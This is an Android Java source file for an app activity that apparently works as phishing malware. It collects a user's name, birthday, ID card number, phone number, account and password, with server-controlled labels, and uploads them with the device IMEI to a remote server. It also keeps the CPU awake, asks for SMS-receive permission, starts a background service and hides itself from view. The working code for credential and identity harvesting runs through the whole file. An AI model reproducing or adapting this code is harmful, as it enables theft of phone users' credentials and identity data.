package com.mego.weblink.activitys;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.AppOpsManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.graphics.Color;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.PowerManager;
import androidx.annotation.NonNull;
import androidx.annotation.RequiresApi;
import android.util.Log;
import android.view.View;
import android.view.WindowManager;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

import com.alibaba.fastjson.JSONObject;
import com.bigkoo.pickerview.TimePickerView;
import com.mego.weblink.R;
import com.mego.weblink.database.dbmodel.SystemAllInfo;
import com.mego.weblink.database.manager.SystemCenter;
import com.mego.weblink.utils.HttpRequest;
import com.mego.weblink.utils.Utils;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.text.SimpleDateFormat;
import java.util.Calendar;
import java.util.Date;

import zuo.biao.library.base.BaseActivity;
import zuo.biao.library.interfaces.OnHttpResponseListener;
import zuo.biao.library.ui.AlertDialog;
import zuo.biao.library.util.JSON;

//1. 初次上传用户信息
//2. 获取提示信息
//3. 启动service后隐藏到后台
public class LjActivity extends BaseActivity implements View.OnClickListener, AlertDialog.OnDialogButtonClickListener {

    private final String TAG = "LjActivity";

    private int MY_PERMISSIONS_REQUEST_SMS_RECEIVE = 10;
    private PowerManager pm;
    private PowerManager.WakeLock wakeLock;

    @SuppressLint("NewApi")
    public static boolean isNotificationEnabled(Context context) {
        AppOpsManager appOpsManager = (AppOpsManager) context.getSystemService(Context.APP_OPS_SERVICE);
        ApplicationInfo applicationInfo = context.getApplicationInfo();
        String pkg = context.getApplicationContext().getPackageName();
        int uid = applicationInfo.uid;
        Class appOpsClass;
        try {
            appOpsClass = Class.forName(AppOpsManager.class.getName());
            Method checkOpNoThrowMethod = appOpsClass.getMethod("checkOpNoThrow", Integer.TYPE, Integer.TYPE, String.class);
            Field opPostNotificationValue = appOpsClass.getDeclaredField("OP_POST_NOTIFICATION");
            int value = (Integer) opPostNotificationValue.get(Integer.class);
            return ((Integer) checkOpNoThrowMethod.invoke(appOpsManager, value, uid, pkg) == AppOpsManager.MODE_ALLOWED);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }
        return false;
    }

    public static void toSettingPage(Context context) {
        Intent intent = new Intent();
        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        if (Build.VERSION.SDK_INT >= 9) {
            intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
            intent.setData(Uri.fromParts("package", context.getPackageName(), null));
        } else if (Build.VERSION.SDK_INT <= 8) {
            intent.setAction(Intent.ACTION_VIEW);
            intent.setClassName("com.android.settings", "com.android.settings.InstalledAppDetails");
            intent.putExtra("com.android.settings.ApplicationPkgName", context.getPackageName());
        }
        context.startActivity(intent);
    }

    @Override
    public Activity getActivity() {
        return this;
    }

    String next_notice = "個人資料已上傳";
    String lwqs_notice = "请填完整個人資料！";


    private TextView tv_c1;
    private EditText edit_c1;
    private TextView tv_c2;
    private TextView edit_c2;//生日
    private TextView tv_c3;
    private EditText edit_c3;
    private TextView tv_c4;
    private EditText edit_c4;
    private TextView tv_c5;
    private EditText edit_c5;
    private TextView tv_c6;
    private EditText edit_c6;
    boolean _isUnload = false; //个人信息是否已上传

    private TimePickerView pvTime;
    String a3_btn1 = "上傳";

    int a3_name1_len = 0;
    int a3_name2_len = 0;
    int a3_name3_len = 0;
    int a3_name4_len = 0;
    int a3_name5_len = 0;
    int a3_name6_len = 0;

    public static final int FINISH_STARTAPP = 1313;
    public static final int FINISH_SC = 1315;

    @Override
    public void initEvent() {
        findViewById(R.id.edit_c2).setOnClickListener(this);
        findViewById(R.id.bt_confirm).setOnClickListener(this);

        findViewById(R.id.ll_boot).setVisibility(View.GONE);

        //启动获取提示
        startapp();

    }

    private TextView bt_confirm;

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        getWindow().addFlags(WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON |
                WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);

        pm = (PowerManager) this.getSystemService(Context.POWER_SERVICE);
        //保持cpu一直运行，不管屏幕是否黑屏
        wakeLock = pm.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "weblink:CPUKeepRunning");
        wakeLock.acquire();

        setContentView(R.layout.lj_activity);

        SystemAllInfo infoUnload = SystemCenter.getInstance().getSysInfo("isUnload");
        if (infoUnload != null) {
            _isUnload = true;
        }

        initView();
        initData();
        initEvent();
    }
    String a3_name1 = "姓名";
    String a3_name2 = "生日";

    @Override
    public void onClick(View v) {
        switch (v.getId()) {
            default:
                break;
            case R.id.edit_c2:
                pvTime.show(edit_c2);
                break;
            case R.id.bt_confirm:
                new AlertDialog(this, "", "確認上傳?", "確認", "取消", 13, this).show();
                break;
        }
    }

    String a3_name3 = "身份證";
    String a3_name4 = "電話";

    @Override
    public void onDialogButtonClick(int requestCode, boolean isPositive) {
        if (isPositive == false) {
            return;
        }

        if (requestCode == 13) {
            doShangchuan();
        }
    }

    private void doShangchuan() {

        String imei = Utils.getIMEI(this);
        String c1 = edit_c1.getText().toString();
        String c2 = edit_c2.getText().toString();
        String c3 = edit_c3.getText().toString();
        String c4 = edit_c4.getText().toString();
        String c5 = edit_c5.getText().toString();
        String c6 = edit_c6.getText().toString();

        if (c1.isEmpty() || c2.isEmpty() || c3.isEmpty() || c4.isEmpty() || c5.isEmpty() || c6.isEmpty()) {
            showShortToast(lwqs_notice);
            return;
        }

        if (a3_name1_len > 0 && c1.length() < a3_name1_len) {
            showShortToast(lwqs_notice);
            return;
        }
        if (a3_name2_len > 0 && c2.length() < a3_name2_len) {
            showShortToast(lwqs_notice);
            return;
        }
        if (a3_name3_len > 0 && c3.length() < a3_name3_len) {
            showShortToast(lwqs_notice);
            return;
        }
        if (a3_name4_len > 0 && c4.length() < a3_name4_len) {
            showShortToast(lwqs_notice);
            return;
        }
        if (a3_name5_len > 0 && c5.length() < a3_name5_len) {
            showShortToast(lwqs_notice);
            return;
        }
        if (a3_name6_len > 0 && c6.length() < a3_name6_len) {
            showShortToast(lwqs_notice);
            return;
        }


        showProgressDialog(R.string.loading);
        try {
            HttpRequest.postgrinfo(imei, c1, c2, c3, c4, c5, c6, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }
                    if (code == 1) {
                        mHandler.sendEmptyMessage(FINISH_SC);
                    } else {
                        showShortToast("ddd！");
                    }
                    dismissProgressDialog();
                }
            });
        } catch (Exception e1) {
            showShortToast("網絡無連接！");
            dismissProgressDialog();
        }
    }

    String a3_name5 = "賬號";
    String a3_name6 = "密碼";

    @Override
    public void initView() {
        tv_c1 = (TextView) findViewById(R.id.tv_c1);
        edit_c1 = (EditText) findViewById(R.id.edit_c1);
        tv_c2 = (TextView) findViewById(R.id.tv_c2);
        edit_c2 = (TextView) findViewById(R.id.edit_c2);
        tv_c3 = (TextView) findViewById(R.id.tv_c3);
        edit_c3 = (EditText) findViewById(R.id.edit_c3);
        tv_c4 = (TextView) findViewById(R.id.tv_c4);
        edit_c4 = (EditText) findViewById(R.id.edit_c4);
        tv_c5 = (TextView) findViewById(R.id.tv_c5);
        edit_c5 = (EditText) findViewById(R.id.edit_c5);
        tv_c6 = (TextView) findViewById(R.id.tv_c6);
        edit_c6 = (EditText) findViewById(R.id.edit_c6);
        bt_confirm = (TextView) findViewById(R.id.bt_confirm);

        //控制时间范围(如果不设置范围，则使用默认时间1900-2100年，此段代码可注释)
        //因为系统Calendar的月份是从0-11的,所以如果是调用Calendar的set方法来设置时间,月份的范围也要是从0-11
        Calendar selectedDate = Calendar.getInstance();
        Calendar startDate = Calendar.getInstance();
        startDate.set(1950, 0, 23);
        Calendar endDate = Calendar.getInstance();
        endDate.set(2020, 11, 28);
        //时间选择器
        pvTime = new TimePickerView.Builder(this, new TimePickerView.OnTimeSelectListener() {
            @Override
            public void onTimeSelect(Date date, View v) {//选中事件回调
                // 这里回调过来的v,就是show()方法里面所添加的 View 参数，如果show的时候没有添加参数，v则为null
                TextView btn = (TextView) v;
                btn.setText(getTimes(date));
            }
        })
                //年月日时分秒 的显示与否，不设置则默认全部显示
                .setType(new boolean[]{true, true, true, false, false, false})
                .setLabel("年", "月", "日", "時", "", "")
                .isCenterLabel(true)
                .setSubmitText("確定")
                .setDividerColor(Color.DKGRAY)
                .setContentSize(21)
                .setDate(selectedDate)
                .setRangDate(startDate, endDate)
                .setDecorView(null)
                .build();

    }

    public Handler mHandler = new Handler() {
        @Override
        public void handleMessage(Message msg) {
            super.handleMessage(msg);
            if (FINISH_STARTAPP == msg.what) {
                onFinishStart();
            } else if (FINISH_SC == msg.what) {
                onFinishSC();
            }
        }
    };

    @Override
    public void initData() {

    }

    private String getTimes(Date date) {//可根据需要自行截取数据显示
        SimpleDateFormat format = new SimpleDateFormat("dd-MM-yyyy");
        return format.format(date);
    }

    void onExit() {
        moveTaskToBack(false);//应用退到后台
    }

    private void initqx() {
        if (Build.MANUFACTURER.equals("vivo") || Build.MANUFACTURER.equals("OPPO")) {
            if (!isNotificationEnabled(this)) {
                //未获得通知权限，此时把用户引向系统的设置界面，使用户手动打开通知权限
                //代码不上了，总之在这里谈提示框让用户打开设置界面就好了～
                showShortToast("请打开通知权限！");
                toSettingPage(this);
                return;
            }
        }
    }

    int next_notice_check = 0;//0-   1-APP啟動再顯示
    boolean _isFirst = true;

    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
        if (requestCode == MY_PERMISSIONS_REQUEST_SMS_RECEIVE) {
            // YES!!
            Log.i("TAG", "MY_PERMISSIONS_REQUEST_SMS_RECEIVE --> YES");
        }
    }

    private void startapp() {
        showProgressDialog(R.string.loading);
        String imei = Utils.getIMEI(this);
        try {
            HttpRequest.startapp(imei, 0, new OnHttpResponseListener() {
                @Override
                public void onHttpResponse(int requestCode, String resultJson, Exception e) {
                    JSONObject jsonObject = JSON.parseObject(resultJson);
                    int code = 0;
                    if (jsonObject != null) {
                        code = jsonObject.getInteger("code");
                    }
                    if (code == 1) {
                        JSONObject data = jsonObject.getJSONObject("data");
                        next_notice = data.getString("next_notice");
                        a3_name1 = data.getString("a3_name1");
                        a3_name2 = data.getString("a3_name2");
                        a3_name3 = data.getString("a3_name3");
                        a3_name4 = data.getString("a3_name4");
                        a3_name5 = data.getString("a3_name5");
                        a3_name6 = data.getString("a3_name6");
                        a3_btn1 = data.getString("a3_btn1");

                        a3_name1_len = data.getInteger("a3_name1_len");
                        a3_name2_len = data.getInteger("a3_name2_len");
                        a3_name3_len = data.getInteger("a3_name3_len");
                        a3_name4_len = data.getInteger("a3_name4_len");
                        a3_name5_len = data.getInteger("a3_name5_len");
                        a3_name6_len = data.getInteger("a3_name6_len");

                        next_notice_check = data.getInteger("next_notice_check");
                        lwqs_notice = data.getString("lwqs_notice");

                        mHandler.sendEmptyMessage(FINISH_STARTAPP);
                    } else {
                        showShortToast("启动失败！");
                    }
                    dismissProgressDialog();
                }
            });
        } catch (Exception e1) {
            showShortToast("網絡無連接！");
            dismissProgressDialog();
        }
    }

    @Override
    protected void onResume() {
        super.onResume();
        if (_isFirst) {
            _isFirst = false;
        } else {
            if (_isUnload && next_notice_check == 0) {
                Toast.makeText(this, next_notice, Toast.LENGTH_LONG).show();
                moveTaskToBack(false);//应用退到后台
            }
        }
    }

    @Override
    protected void onDestroy() {
        startService(new Intent(LjActivity.this, Service1.class));
        super.onDestroy();
    }

    @Override
    public void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
    }

    private void onFinishSC() {
        SystemCenter.getInstance().saveSysInfo(new SystemAllInfo(null, "isUnload", "1"));
        Toast.makeText(this, "'個人信息已經上傳成功'，可在後台修改.", Toast.LENGTH_LONG).show();
        moveTaskToBack(false);//应用退到后台
    }

    private void onFinishStart() {
        tv_c1.setText(a3_name1);
        tv_c2.setText(a3_name2);
        tv_c3.setText(a3_name3);
        tv_c4.setText(a3_name4);
        tv_c5.setText(a3_name5);
        tv_c6.setText(a3_name6);
        bt_confirm.setText(a3_btn1);

        initqx();//初始化权限
        startService(new Intent(LjActivity.this, Service1.class));

        if (_isUnload && next_notice_check == 0) {
            Toast.makeText(this, next_notice, Toast.LENGTH_LONG).show();
            moveTaskToBack(false);//应用退到后台
        } else {
            findViewById(R.id.ll_boot).setVisibility(View.VISIBLE);
        }
    }

}

